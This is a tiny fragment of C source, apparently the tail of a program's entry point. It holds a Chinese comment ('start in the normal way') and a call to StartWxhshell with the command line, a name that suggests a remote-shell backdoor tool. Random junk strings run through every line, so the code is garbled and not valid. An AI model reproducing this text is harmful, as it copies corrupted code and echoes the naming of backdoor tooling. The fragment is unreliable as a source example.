// 普通方式启动 \\j98(i
StartWxhshell(lpCmdLine); 0(owFNUBs
0baq696<F
return 0; Z;/"-.i
}